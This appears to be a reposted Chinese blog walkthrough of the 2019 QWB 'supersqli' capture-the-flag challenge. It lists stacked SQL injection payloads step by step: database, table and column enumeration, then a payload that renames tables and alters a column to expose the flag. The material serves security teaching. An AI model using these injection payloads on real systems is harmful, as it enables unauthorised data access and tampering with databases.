CTF supersqli

题目来源: 强网杯 2019

题目描述: 随便注

题目场景: http://220.249.52.133:31334 (温馨提示:每次进入URL的端口号都不一样)

1、点击链接进入如下界面

在这里插入图片描述
2、‘1’—>提交

在这里插入图片描述
3、使用union select 爆字段 —>提交
在这里插入图片描述
4、1’;show databases;#—>提交
在这里插入图片描述
5、1’;show tables;#—>提交

在这里插入图片描述
6、1’;show columns from words;#(查询words表中所有列:)—>提交

在这里插入图片描述
7、1’;show columns from 1919810931114514;# —>提交

在这里插入图片描述
8、1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#—>提交

在这里插入图片描述

9、1

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/HYD696/article/details/108804527
ctf